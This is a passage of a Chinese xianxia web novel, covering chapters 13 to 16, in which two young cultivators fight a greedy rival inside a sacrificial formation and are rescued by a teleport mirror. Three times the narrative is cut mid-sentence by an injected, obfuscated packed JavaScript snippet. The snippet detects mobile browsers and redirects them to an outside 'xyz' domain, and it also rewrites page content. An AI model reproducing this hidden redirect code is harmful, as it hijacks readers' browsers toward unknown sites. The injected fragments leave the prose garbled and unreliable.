两人在半空交错,齐昭去对付司徒乾,江小白则去解决下面两个家仆了。 金丹对金丹,筑基对筑基,这是最有效的战术。 不过齐昭一人对上司徒乾还是有些吃力,江小白得尽快杀了那两个家仆,再合力围剿司徒乾,这样的胜算才会更大。 被剑气震开的两个家仆反应过来立刻重新控制影子朝齐昭追了过去,江小白旋身便是一剑,把影子重重打了回去。 “眼瞎啊?我这么大个人看不见?” 江小白神情阴沉,余白也就算了,这两个家伙算什么东西,也敢无视他? 他和这两个家伙交过手,当时他之所以没有躲过天雷就是因为这个该死的束缚术。 新仇旧恨,江小白都不可能放过他们。 衣袖翻飞间桃木剑一分为七,比之前还要多一柄。 七柄小剑在他的操纵下如离弦之箭直刺两人的要害,他们的速度已经算快的了,但也只堪堪用影子抓住四柄,且还很快就被剑气切断。 剩下三柄扎穿了他们的手掌,鲜血如注,影子的束缚陡然崩解。 江小白落地,走近其中一个青年,手指一动,地上的一柄桃木剑朝他飞去。 他想要砍断他没受伤的那只好手,对方情急之下再次操纵影子去阻挡。 江小白徒手抓住了那条带着倒刺的影子,滋啦一声,白紫色的电流沿着影子把青年电得浑身抽搐。 他发出撕心裂肺的嚎叫,江小白只觉得畅快,一只手还不够,另一只手也抓上了那影子。 “住手!” 另一个家仆厉声喝止,江小白歪了下头。 “差点儿把你忘了,这么有兄弟爱啊,那我以德报怨成全你们……” 他微笑道:“一起下黄泉吧。” 说着他把那被电的软趴趴的影子荆棘条甩了过去,把对方缠绕,然后抓着影子继续释放雷电,电得两个人经脉寸断,瞬间绝了气息。 “啧,没劲。” 手中的影子因为两人的死亡肉眼可见消失了,江小白这才去把插在他们身上的桃木剑回收。 要是换作一个月前江小白绝不可能这么轻易解决他们,要怪就怪当时他们非要置他于死地把他困在天雷之下,反而让他被劈得对雷有了抗体。 这影子里也被他当时趁机渡了雷力,就等着之后以牙还牙。 江小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732854|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白拍了拍手,这边解决了,他抬头往空中看,一白一紫两道身影在上面打得火热,齐昭为了不让司徒乾去支援那两个家仆将他逼得很远。 尽管离得很远,看不清下面的情况,但是司徒乾身上有那两个家仆的死契,死契有点像宗门弟子的命灯。 此时玉牌碎了,司徒乾第一时间就知道他的仆从死了。 他怒不可遏,拿出碎了的玉牌咬破手指,染血的玉佩像有生命一样碎裂成齑粉,然后往那两具尸体融去。 “以血缚灵,寂灭诛魂!诛刹阵,起!” 僵硬的尸体像傀儡一样突然动了。 黑色的影子和藤蔓拧在一起,威力比之前更加巨大,江小白忙用剑挥斩,桃木剑如同弹簧一样被撞飞。 齐昭暗道不好,御空而下,司徒乾早就料到了他的举动,掐诀冷笑。 “还有心情担心别人?先顾好你自己吧!” “诛刹阵,起!” 起初齐昭还以为这只是普通的诛刹阵,可在感知到那如山如海覆上来的黑色藤蔓以及浓重的血腥味时,他才惊觉这是献祭法阵! 司徒乾是故意念的诛刹阵口诀,实际布下的却是献祭法阵。 可如果只是这种程度的混淆视听的话齐昭和江小白不一定会中招,且献祭法阵要成功的要求很严苛,首先是献祭者自愿,若是有所反抗必被反噬,其二是阵法的布置,必须要两人同时起阵才能保持稳定。 齐昭:“你是故意放江小白去对付他们的?!” 司徒乾眯着眼睛:“你倒是敏锐,不过晚了,你和他今天都得死在献祭阵里!” 和他猜测的一样,这家伙从一开始就打算献祭那两个家仆,之所以放江小白过去对付他们恐怕也是觉察到了他藏在他们影子束缚阵法中的雷之力。 以天雷之力献祭,是为天诛,也就无所谓两人是否自愿了,因为天惩万物,万物可灭,可诛。 献祭阵是以修者肉身和神魂一起献祭的,两个筑基大圆满的修者献祭的法阵虽不至于有多毁天灭地,却足够将元婴以下的修者围困绞杀。 江小白发现自己动不了了,干脆直接盘腿坐下,地上黑红色的繁复法纹看着诡谲可怖。 那些都是以血肉布画的,腥臭至极。 “失策了,没想到你竟然也是个法修。” 江小白面上没有一点恐慌,甚至还和司徒乾攀谈了起来。 “看来你是真的很嫉妒我啊,之前把我困在影子里想让天雷劈死我,现在你更过分了,要用这个阴毒的法阵湮灭我的身魂。怎么,你不远千里追杀我到此方秘境为的就是我这副天灵根,你难道不怕我的灵根也在阵法里受损,让你功亏一篑吗?” 司徒乾脸上的肥肉抖动了下,神色贪婪且狰狞。 “这就用不着你操心了,法阵是由我的家仆献祭的,刚才我已经将神魂打入了他们体内,也就是说我可以自如操控法阵。” “我会让法阵以你身魂为养料,慢慢吸干你,让你生不如死,最后只留下你的根骨。” 他说着掐诀起阵,如血的红光牢牢笼罩着江小白,灵力在迅速流逝,他的脸色骤然苍白。 江小白紧咬着牙关,一声闷哼都没发出。 他早就习惯了痛苦,甚至在反向利用痛苦来让自己保持清醒,思考破局之法。 失策以为司徒乾是和雪明霜一样的远攻类感知型修者是其一,但这并不是造成如今的困局的主要原因。 他最大的错是高估了男主的气运,同时也低估了自己的霉运。 江小白一开始把他们带回自己的地盘为的就是防止司徒乾追上来能够借助齐昭脱身,连带着他最初救下他也是出于这个目的。 齐昭若是留下帮他,和他共进退,以主角不死的定律他也极大概率可以逢凶化吉,就算齐昭没有留下,他也可以声东击西,让司徒乾以为自己在山洞里,他趁机离开。 可是谁能想到呢,齐昭也被困在法阵了。 这不应该啊,那本破书里不是说对方气运极佳,天道宠儿,遇难成祥吗? 就这么宠的吗?还是说他的霉运影响到他了,以至于对方也跟着倒霉了? 现在好了,都给困死在里面了,要怎么出去? 江小白咬肌微动,额头因为疼痛沁出冷汗,他的视线隐晦落到山洞方向。 那个冰灵根的女人就算来了也只是让这个献祭法阵再吞噬一人罢了,而且余白不过练气,司徒乾碾死她就跟碾死一只蚂蚁一样。 江小白这么想着,发现不远处困在阵法里的齐昭也往山洞那边看了一眼。 但只一眼,他便垂下眼来,雪白的衣服上血色染红一片,有一种强烈的冲击感。 江小白发现他周身气息有些变了,只见齐昭眉目沉凝,嘴唇紧抿,垂落的手紧握着雪色长剑,剑光中他的神情肃然,透出孤注一掷的决绝。 他心下一动,这感觉,是又要突破了吗? 啧,主角破境就是容易哈,算了,现在不是柠檬的时候了,管他突破到金丹中期还是直接夸张到一步元婴都无所谓了,只要能出去他怎么恐怖如斯都成。 江小白屏息凝气,等待着齐昭小宇宙爆发逆风翻盘。 便听少年朗声道:“我也是天灵根,还是先天道体!比起他我才是你更好的选择!” 他盯着司徒乾一字一顿说道:“灵根可以替换,道体却只能自愿赠予才能剥离,如果你愿意放了他,我愿意把道体一并给你。” ??? 江小白不敢相信自己刚刚听到了什么。 不是男主,这剧本对吗?说好的突破怎么就滑跪了? 14.第十四章 原本不是你死就是我活的现场陷入了长久且诡异的安静,司徒乾的表情带着五分震惊四分怀疑还有一分微妙。 “你和他……是什么关系?” 齐昭总觉得对方的语气还有眼神都怪怪的,回答道:“他是我的救命恩人。” 司徒乾松了一口气:“原来是救命恩人啊,我还以为……滴水之恩涌泉相报,你愿意以命换命很合理,很合理。” 江小白哪里不明白他刚才脑补了什么? 被人误会成那种关系,还是和一个男人,他如同吃了一百只苍蝇一样恶心。 他狠狠瞪着齐昭,咬牙切齿道:“我说你是不是有病?麻烦你搞清楚你是欠我一条命不是欠他一条命!早知如此当初我干脆让你死在那畜牲手上得了,也好比给这个畜牲不如的家伙送死强!” 司徒乾本来并不相信齐昭所说的话,天灵根不在五行之内,又容纳五行之力,是修真界最为稀有的灵根,就连他们司徒家的主家那群天之骄子也顶多是极品变异灵根。 有一个江小白都是他命中难得的大造化了,结果又来一个天灵根,还先天道体,要知道拥有两个顶级天赋就属于天命者了,天命者是什么?那可是天之骄子中的骄子,天道的宠儿,是注定要飞升的仙者。 这种打着灯笼都找不到的存在,就这样水灵灵出现在他面前了?这可能吗?绝不可能! 司徒乾用脚趾头想都知道这绝对是对方胡说八道的,他们十有八九想要借此拖延时间让同伙来支援。 可惜了,她们来了也没用。 司徒乾不是个傻子,相反的他意外的脑袋灵光。 在江小白逃进凤梧秘境的时候他便当机立断在四方灵门布下了埋伏,一旦他试图逃出秘境无异于瓮中捉鳖,少年也十分敏锐,觉察到了这一点这一个月里才一直在秘境蛰伏养伤,但这不过是一种慢性自杀罢了。 司徒乾很享受这种猫捉老鼠的游戏,他这段时间里沿着江小白的踪迹一路追杀,他根本没有什么时间去疗养天雷的伤势,只会被他慢慢耗死。 加上一般资质卓越者都身负气运,只有把对方逼到穷途末路的时候下手才能保证万无一失。 司徒乾等这个改命的契机等了快十年,他决不能让这一切功亏一篑。 他提防了齐昭他们,同时也提防了附近尚且不知具体位置的两人。 他悬停在空中,脚踏虚空,随着脚下赤红色的纹路展开,把方圆十里都给笼罩其中。 “我劝你收起你的小心思,以为拖延时间就能获救?仔细睁大眼睛好好看看吧,我的这个献祭法阵可不单单只能困住你们,只要进入这个阵法范围内的元婴以下修者都会成为阵法的养分,魂飞湮灭。” 江小白神色一凛,单单只是两份筑基修者的献祭是绝不可能布下这样大范围的阵法的,有且仅有一个可能,这个阵法同样也连接了他的神魂。 布阵者将自身神魂和阵法相连有两个好处,一是能够加固阵法,把阵法的威力发挥到极致,另一个则是即使他离开了阵眼这个阵法也不会被破坏。 也就是说司徒乾现在既可以在这里守株待兔,等雪明霜她们出来进入法阵,也可以直接离开阵法先去解决了她们。 好在司徒乾怕煮熟的鸭子飞了,比起后者更想要先把他的灵根占为己有。 可也只是早晚的问题,他们一旦身死,为了杀人灭口,雪明霜她们也活不了。 这个道理齐昭自然也明白,或许他突破金丹感知要更加敏锐,比江小白更先一步发现了这个阵法的霸道,这才提出一命换一命。 江小白神色冷沉,心里说不出的烦躁。 这种烦躁不同于穿到这个书中世界以来处处受制于天道的憋屈感,而是来自齐昭。 在没有和这个所谓男主碰面之前,江小白对他的感官很差,因为在原文设定里他是对方的对照组,更因为剧情里这个家伙道貌岸然,后宫无数,是典的不能再典的那种男频大男主。 可真正接触下来江小白发现,他爹的什么龙傲天,这家伙根本就是个圣父! 江小白受不了了,那种被圣光普照的感觉让他浑身刺挠。 偏偏齐昭还在为他争取一线生机。 “我已在阵中,既你的神魂与阵法相连我说的是真是假,你一探便知。” 他说的这样言之凿凿,司徒乾也有点不确定了。 反正探查一下也不吃亏,要是真是天命者白白死了他就亏大了。 当然,这种可能微乎其微,天命者又不是大白菜,能碰上一个天灵根已经是他走大运了,怎么可能再碰上一个天命者呢? 司徒乾调动神魂,金丹修者的威压压制在齐昭周身,神魂侵入的剧痛让他脸色苍白。 越是特殊的天赋感知越明显,可司徒乾却里里外外检查了足足三遍才撤回神魂,神情震惊得无以复加。 “?!你竟真是天命者!” 齐昭咽下喉中腥甜,直视着司徒乾:“你已验明我所言非虚,可否请你放过江道友还有我的同门?” 司徒乾恍惚极了,这种天上掉馅儿饼还是掉两次的好事让他以为自己是中了什么障眼幻术。 他狠狠掐了一把自己的大腿,嘶,好疼,竟不是在做梦。 司徒乾没觉得狂喜,反而更警惕了。 天命者在五大宗都是可遇不可求的,哪一个不背景雄厚,哪怕是司徒家也不敢轻易招惹。 “你究竟是何人?” “齐昭,瀛洲人士,师从天极宗玄霄道尊。” 司徒乾倒吸了一口冷气,玄霄道尊?天极宗宗主? 若是没有确定对方是天命者司徒乾不会相信对方师从玄霄,现在别说是师从玄霄了,他说他师从那位余剑尊他都信。 司徒乾额头直冒冷汗,一想到自己差点把玄霄道尊的徒弟给杀了他就心有余悸。 “你怎么不早说?!” 司徒乾气急败坏,指着齐昭的鼻子破口大骂。 “我要是早知道你是玄霄道尊的徒弟,我早放你走了还有你那两个同门!老子是想要根骨,但我不是蠢,根骨重要还是性命重要我还是分的清的!现在好了,你也被关在这阵法里了,这献祭法阵是至死方休的死阵,这阵法根本不可能解除!还想以命换命,你跟着他一块儿陪葬吧!” 他看似在说狠话,实则语气难掩慌张。 齐昭被指责的也有些愠色,质问道:“我告诉你你就会放过江道友吗?” 答案是否定的,江小白是他等待多年的改命契机他不嫩放过,顶多会让齐昭他们离开。 司徒乾脸色难看,阵法也因为他不定的心绪而有些紊乱。 齐昭眼眸微动,劝道:“其实你现在收手还来得及,你撤去阵法放我们离开……” “我呸,做你的春秋大梦!” 司徒乾咒骂道:“你想的倒美,这个阵法这么霸道老子强行撤去必遭反噬,轻则重伤,重则跌境!老子凭什么要做这种亏本买卖!还有这小子,他和我可是有着血仇,到时候老子就成待宰羔羊,他岂可能放过我?!” “我可以让他立血誓……” “够了!” 江小白比破防的司徒乾没好到哪儿去。 他恼怒道:“我立血誓放过他他之后会放过我吗?你也是蠢出升天了,竟然妄图和这种人讨价还价!” 齐昭抿唇,俊美的面容透着黯然:“我知道,我只是想尽可能为你争取一线生机……” 江小白梗住了,深吸了一口气,双指并成剑式,漆黑的瞳仁如墨如夜。 他将桃木剑分解,祭出九柄小剑。 “我知道你从一开始在对上司徒乾的时候就意识到自己不是他的对手,即使我们联手或许最好的结果也是同归于尽,这不是你要的结果。你既想要还我的救命之恩,又想要保住你的同门,所以你心里已经打算牺牲自己以命换命了,可是齐昭,你搞错了。” 江小白从之前到现在,真正拿正眼看向齐昭。 “生机不是争取来的,而是抢来的。你要是真想报我的救命之恩,就同我杀出重围。” 少年的眼中没有对死的恐惧,只有决绝。 他就像是一把剑,锋芒毕露,宁折不弯,没有迷茫和犹疑,纯粹且清明。 反倒是齐昭束手束脚,自以为牺牲自己,实则是一种无视他人意愿的傲慢。 齐昭握紧手中灵剑,支撑着身体同江小白站在一起,眼神坚定。 “好,便如你所说,成败不计,生死不论,杀出这重围!” 他大喝一声操纵灵剑朝着阵眼攻去。 江小白也九剑齐发,往阵法薄弱的位置进行突破。 两人都下了决心拼死一搏,在阵法还没有将他们身上的灵力完全榨干之前,他们将所有的剑气同灵力一起汇聚在剑中。 这个阵法元婴以下虽然很难突破,但却能消耗阵法中的神魂。 神魂被消耗便同阵法的连接变弱,阵法的力量和范围也会缩小,那样即使他们无法出去雪明霜她们也能从山洞离开。 司徒乾本身还在犹豫着要不要对齐昭动手,但现在已经由不得他犹豫了,他自己就在找死。 强行耗尽灵力去攻击阵法,无异于是自取灭亡。 这个献祭阵法越反抗受到的压制越强,他们孤注一掷,豁出去要把这阵法削弱留给那两人一线生机,纵使司徒乾这个布阵者也没办法控制阵法的吸收速度。 “该死!” 司徒乾见控制不了干脆放任他们找死,只操纵着阵法去护住两人的灵根。 这个阵法吸收的就是阵中人的灵力,两人灵力所剩无几,很快就见了底。 没了灵力支撑的身体就像凡人一样脆弱,咔嚓,江小白听到了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743081|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己骨头碎裂的声音,肋骨,胸骨,一根根在断裂。 在断裂过后,会被碾碎成齑粉。 紧接着身体也会被搅碎,和骨头混在一起,变成一团模糊的血肉。 江小白咬破舌尖,颤抖着手保持着施术的姿势。 在巨大的痛苦中那张清秀普通的脸有那么一瞬的扭曲,恍惚之间露出的眉眼昳丽,宛若一朵盛放到极致的海棠。 “道生万物,剑九归一!” 桃木小剑合而为一,剑上迸射的紫电逼仄,寒光万里。 “以血为祭,剑出雷霆,剑来!” 桃木剑涤荡剑气,凝聚在一点,往阵法最薄弱的一处攻去。 空间跟着晃动,视野也开始变得猩红扭曲。 “咔嚓”,桃木剑中间裂出一道缝隙,在快要碎裂之前,一道厚重的剑气覆了上来。 是齐昭。 齐昭喉头耸动,呕出一口血来。 他将剑与自身合而为一,将灵力与剑气相连,此刻他便是剑,剑亦是他。 这种方式类似于以身祭剑,虽能让修为短暂提升一个小境界,但剑气一断,他也会被反噬身亡。 他们都在赌,赌这一线的生机。 只差一点了,阵法只差一点就要被削弱了。 司徒乾心下惊骇,没想到两人竟然不要命拼到了这份上。 献祭阵法一旦被削弱力量便会大打折扣,届时没准山洞那两个家伙还真能逃脱,然后去通风报信。 那他就真的完了。 司徒乾咬牙,表情阴鸷:“好,既然你们想死,那我就成全你们!” 秘境危机四伏,他们前脚又刚与白雉凤那两头畜牲缠斗过,到时他毁尸灭迹,就算天极宗的追查过来也只会以为他们是死于大火之中。 这么想着他不再留手,催动了阵法。 阵法的力量不断汇聚,从四周往中间压制着,像不断挤压的一个无形空间。 空气开始变得稀薄,江小白他们连运转灵力都变得困难。 在压制到极致,司徒乾等着他们快要炸成一团血雾的时候,他们凭空在阵法中消失了。 江小白感觉到身上的压迫陡然一松,眼前因为疼痛和失血过多模糊的视野还没清明,耳边响起了一个惊喜的声音。 “太好了,成功传送回来了!” 余白刚才可吓坏了,试了好几次在紧要关头总算把人给传送回来了。 “师姐辛苦你了,这个法器传送很消耗体力的,你赶紧吃几颗十全大补丸补补!” 雪明霜接过丹药,还没从少女的骚操作中回过神来。 不光是雪明霜,系统也惊呆了。 起初它还以为余白用这个法器只是单纯想要查看外面的情况,结果没想到打的是把人传送回来的主意。 这个追影浮光镜虽是传送法宝,却有很大的弊端,一来它只能定点传送,从哪里传送回来的再次传送也就回哪里去。 因此无论是在传送回山洞还是在外面阵法里,对于司徒乾而言都是瓮中捉鳖。 但是余白却玩出了新花样。 那个阵法无法突破那就耗啊,齐昭和江小白一旦撑不住了她就把人传送回来,库库塞丹药,回复了灵力和伤势又传送回去继续陪司徒乾耗,等他的灵力无法支撑阵法,阵法撤去遭受反噬,那他们就不战而胜了呀。 余白把这个破局的想法告诉雪明霜的时候,她的神情很震撼,像是在看什么邪修。 这种路子也就琢磨那些歪魔邪道的邪修能想出来吧。 不不不,她怎么能这么想?邪修那是心术不正,小师妹这是临危不乱,急中生智,兵行险招,这叫机智。 机智的余白把芥子囊里所有的丹药都给倒了出来,堆成了一座小山。 “师姐你去给师兄塞丹药,挑猛的塞,我们一人塞一个!快!” “好,好的。” 余白拿起一瓶丹药就往江小白嘴里倒。 他吃了整整两瓶丹药,伤是恢复得差不多了,但腮帮子酸得怀疑人生。 见余白还要给他塞,江小白抓住了她的手腕:“够了,你喂猪呢?” 余白眨眨眼睛:“你好了?” “好了六七成了,剩下的内伤光吃药没用。” 一旁的齐昭也道:“我除了突破遭受反噬外也好的差不多了。” “太好了,那你们快出去继续战斗吧,那家伙要往山洞这边来了!” 说着余白就把两人往追影浮光镜面前推。 “快去吧,等你们撑不住的时候我会再把你们传送回来治疗的!你们放心,虽然你们打不过他,但你们可以无限回蓝回血,子子孙孙无穷无尽也!” 余白捏着拳头给他们比了一个加油的动作。 江小白:“……” 好家伙,把山洞当我方水晶了是吧? 15.第十五章 因为余白的骚操作和过于夸张的丹药库存,让此时齐昭和江小白两人拼尽全力都没能改变的局面真的出现了生机,而且还不止一丝。 如果真的这样通过无限回复这样和司徒乾耗下去,这困境还真有可能破了。 也是由于这剑走偏锋的法子真的可行,让他们三人都沉默了。 尤其是江小白和齐昭,那他们刚才在外面拼死拼活又是成败不计,生死不论的孤注一掷算什么?算他们努力算他们命苦吗? 偏偏余白读不懂空气,一个劲儿催促他们赶紧出去迎敌。 江小白道:“这样的消耗战理论上可行,但是司徒乾不是傻子,一次还好,两次三次他一定会发现端倪。” 司徒乾的献祭阵法是以牺牲两个家仆为代价布下的,并不是以他的灵力进行维系,因此他的自由度很高,即使离开了阵法也不会有任何影响,所以一旦被他发现余白她们把人传送到山洞进行补给,那么他必然杀人夺宝。 余白眼珠子一转,抱着丹药塞给江小白和齐昭。 “那这些你们拿着,撑不住了就磕药,也懒得传送来传送走了。” 江小白道:“你觉得司徒乾会给我们服用丹药恢复的机会吗?估计早在我们把药拿出来的时候就把我们连药带人都给碾碎在阵法中了。” 余白也急了,略显急躁地抓了把头发。 “哎呀,这也不行那也不行,那你说该怎么办?我和雪师姐被困在山洞里,一出去就会进入阵法范围自投罗网,不然的话我们刚才早出来帮你们了。” 少年盯着少女脑袋上的那根被抓起来的呆毛,忍住了强迫症想要动手压下的冲动。 然后他将视线落在了雪明霜身上。 雪明霜眼眸一动,意识到他接下来要说的估计和自己有关,言简意赅道:“需要我做什么?” 之前雪明霜在得知这方圆只有山洞是唯一一处没有被献祭法阵波及的地方,一旦出去就会自投罗网,眼睁睁看着他们受困自己却什么也不能做让她十分焦急,此时江小白明显有所谋划,雪明霜自然希望自己能够帮上忙。 江小白道:“的确需要你帮忙,而且这个计划的成败也在你身上。” 他抬起手,指尖有白紫色的电光闪动,发出轻微的滋滋声。 “我自身受了天雷后体内的灵根就有了些变化,尽管依旧是天灵根,但却能像变异雷灵根那样使用雷属性的力量。” 齐昭听后惊愕:“变异天灵根?!” 雪明霜也震惊得那张素来没什么表情的脸也有了明显的情绪波动。 唯有余白一个人处于状况之外。 变异天灵根?那是什么? 余白还没来得及问出口,便听系统解释道:[不是,你到底有没有认真拜读创世之神作者大大的大作啊,连变异天灵根都不知道。天灵根你总知道是什么吧,天灵根是指的不在五行之内的灵根但又可以操纵五行属性的所有灵根力量,也就是说天灵根等于金木水火土五个单灵根的总和。那变异天灵根能操纵的除了五行属性,还有五行之外的变异属性。] 这和五灵根截然不同。 五灵根虽然也能使用五行之力,但能使用的力量微乎其微。 举个例子,五灵根就像是一棵大树,能使用的五行之力就是五根分叉的树枝。 而天灵根则是一片森林,五行之力蕴含在整个森林里,磅礴如海,无论是单修还是一起修行,都是绝顶的资质。 天灵根的资质已经足够让人垂涎了,变异天灵根更是可遇不可求。 变异天灵根不光可以将将五行之力修行到极致,还能修行五行以外的变异属性。 比如雪明霜的变异冰灵根,又或者变异风灵根等等,而江小白觉醒的变异属性就是雷属性。 这是即使天命者的齐昭也做不到的。 不,拥有变异天灵根的江小白在某种程度上也和天命者无异了。 齐昭看向江小白的眼神更加热切,若是去年少年也在天极宗,那次的仙门大比天极宗不至于排位如此之低。 “原来这叫变异天灵根吗?这不重要,重要的是我发现这个属性意外的好使,刚才那两个被我杀死的家仆就能佐证这一点。” 那两个家仆的修为并不弱,是和他同样的一步金丹,之前还没有觉醒这个变异雷属性的时候司徒乾都没怎么出手,他都被那两个家伙给折腾的够呛。 也是因为这样才导致他对司徒乾的情报不足,没有探查到对方也是法修,被他的献祭阵法给摆了一道。 可刚才他却轻松催动了雷力便把他们解决了。 普通的雷灵根虽然强悍却不可能做到即刻取走两个同阶修者的性命,可江小白不一样,他的雷属性是在天雷劫中觉醒的,那便不是普通的雷之力,而是天雷之力。 一字之差,差之千里。 后者的力量等同于雷劫,修者最怕的也是雷劫,劈下去不死也得半残。 但是江小白能够操控的天雷之力有限,只有筑基雷劫的程度,要对付金丹中期的司徒乾所需要的天雷之力得在金丹突破元婴的雷劫了。 这对于目前一步金丹的江小白几乎是不可能的事情,他不是男主齐昭能够逆境突破,他不跌都算他运气好了。 更何况这还是跨越金丹,元婴两个大境界。 不过这不代表毫无办法,雪明霜就是破局之法。 “我的力量不够,需要借助你的力量。” 他又看向齐昭:“还有你。” 江小白并没有再多说什么,但雪明霜和齐昭似乎都明白了他的意图。 齐昭沉声道:“这很冒险,你的身体可能承受不了……” “总比死了强吧。” 齐昭没再说话了,雪明霜也默认了这个计划。 余白和系统急得抓耳挠腮,这都什么跟什么啊?她怎么一个字都听不懂? “不是,你们三个在打什么哑迷啊,能不能给我说说呀,还有我能干什么?我很有用的,别撇下我啊。” 江小白似乎笑了下:“你当然很有用,我们的命都是你救下的,你可是我们的救命恩人。” 余白这一路上都听他刻薄惯了,突然这么一记直球搞得她不知道该怎么接话。 江小白余光瞥见追影浮光镜,眉头压下。 “这里的隔绝阵隔绝不了多久,他快要发现我们在山洞里了,我们得赶紧回去。” 余白见雪明霜要催动追影浮光镜,往后退了一步,然后白光闪过,下一秒山洞便只剩下她一人了。 ?? 就把她一个人留下了? 虽然她也知道自己去帮不了他们什么,可是这种打团不带她的感觉还是让余白有点郁闷。 此时追影浮光镜里浮现出了雪明霜三人的身影,外面不断感知周围寻找他们踪迹的司徒乾看到这大变活人给吓了一跳。 但很快他在看到雪明霜的时候便了然了。 只见少女手掐反诀,嘴角染血,一身雪色衣裳上全是斑驳红梅,那张清丽的脸也狼狈至极,再去感知她周身灵力,已然是枯竭的状态。 “逆转法阵?哈,有意思,你竟然也是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745872|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法修?” 逆转法阵,是和献祭阵法截然相反的一个法阵,以布阵者自身做阵眼的回复法阵,本质上有些像治疗,但是是将对方的伤势转移到自己身上,代为承受,极端情况下甚至可以说是以命换命。 但雪明霜她不是法修啊,她哪里会这种阵法? 在他们一行四人里只有江小白会布阵,若是他施展的话倒有可能,可他都那副半死不活的样子了哪里有命布阵? 余白脑子转的很快,没多久就反应过来这是他们为了圆他们伤势恢复而做给司徒乾看的,为的就是不暴露她身上有灵宝。 雪明霜本身就有伤,刚才在生死关头把他们传送回来耗费了仅剩的一些灵力,现在自然处于枯竭状态。 可这样也没用啊,毕竟刚才他们是当着司徒乾眼皮子底下凭空消失的,单纯的逆转法阵也解释不通啊。 [宿主,你错了,只要让司徒乾相信雪明霜是法修,那这一切就都能成立了。她连逆转法阵这样高级的阵法都能使出来,使出隐匿身形气息的阵法又有何难?] 系统语气难掩激动:[他爹的,那个江小白脑子也太灵光了,竟然能在短时间想到这样的办法!不光让司徒乾怀疑不到你头上,还能消除对雪明霜的戒备,他现在肯定觉得雪明霜使用了逆转法阵大限将至,对他构不成一点威胁。] 的确,要一口气回复两个濒死之人,若是真的逆转法阵布阵人早就无力回天了。 怪不得江小白刚才说这一局雪明霜是破局的关键呢,原来如此。 谁会提防一个“将死之人”呢? 余白抿着嘴唇,神情复杂看向那个玄衣劲装的少年。 对于江小白,她一开始只是觉得同是天涯路人甲的亲切感,现在她发现并不是亲切感,而是熟悉感。 她不死心再问系统:“他真的只是个路人甲吗?” 系统也不确定了。 [……原文中的确没有一个叫江小白的人,不过有一个姓江的反派男配,还是你的老熟人呢。] 什么老熟人,那叫受害者联盟。 那个和她一样被写进书里的倒霉蛋,也就是她的同桌江厌星。 不过他比自己要惨得多,她只是被写成了连镶边都算不上的路人甲,虽然戏份少存在感低,但不会卷入主角的那些恩恩怨怨,腥风血雨里,但江厌星不一样,在文中他的设定是男主的对照组。 身世上,齐昭是仙门大能和皇室公主的血脉,尊贵无比,而江厌星天煞孤星,克父克母。 天赋上,齐昭是天生剑骨,先天道种,妥妥的天道宠儿,反观江厌星,毫无天赋,资质平平。 就连他一见钟情的女配也独独对齐昭情有独钟。 有这么一个处处压着你让你永无出头之日的人在,谁都不会好受,更何况本身就心理扭曲偏执的江厌星。 很俗套的剧情,他最后堕魔了。 且因为他的心魔就是齐昭,所以穷极一生都在和他作对,企图杀了齐昭反向证道,结局自然邪不压正,在神魔大战中同天魔一起死在了男主剑下,成了他登临剑仙的垫脚石之一。 要说书中这个反派江厌星唯一能拿得出手的,便是他那张貌若好女的脸了。 那个男同学是个万年老二,无论大考小考还是竞赛都考不过她同桌,他平时就很嫉妒对方,在写那本小说的时候丑化了他的一切,唯独没有丑化他那张脸。 估计男主碾压一个帅哥比碾压一个丑比让他更觉得畅快吧。 所以余白可以百分百肯定,这个江小白绝不可能是书中那个江厌星。 16. 第十六章 不过现在不纠结这个江小白究竟是何方神圣的时候。 余白紧张地注视着追影浮光镜里的情况,在经历过齐昭差点死在白雉凰之手后,她对所谓的主角气运也没有一开始那么乐观了。 和系统预料的一样,司徒乾果然没有太防备雪明霜,但并不是完全不把她当回事,他操纵藤蔓将她牢牢束缚在阵法中,那藤蔓上附着着灵力,越挣扎缠绕着越紧。 原本绿色的藤蔓在吸食着雪明霜血液中慢慢变成血一样的殷红,上面甚至还长出了红色的花骨朵。 这是食灵花,长白峰那些药修养殖过,不过他们并不是用它来入药,而是来吸食瘀血蚕食腐肉,辅助进行治疗的。 等到藤蔓上的花完全开了,雪明霜就会被吸食成一具干尸了。 好阴毒的手段! 尽管知道这是雪明霜故意装作无力抵抗的样子没有躲开这藤蔓的束缚,只为了后面打他一个措手不及,余白还是为她捏了一把汗。 但很快的,她来不及为雪明霜担心了,司徒乾这次没有再顾忌,对着齐昭和江小白使出杀招。 只见他掐了一个术诀,地龙翻动,如同海浪一样让人无法保持平衡。 “咔嚓”,地面裂开了道道缝隙,无数藤蔓从地底钻了出来,蠕动的蛇般朝着江小白和齐昭而去。 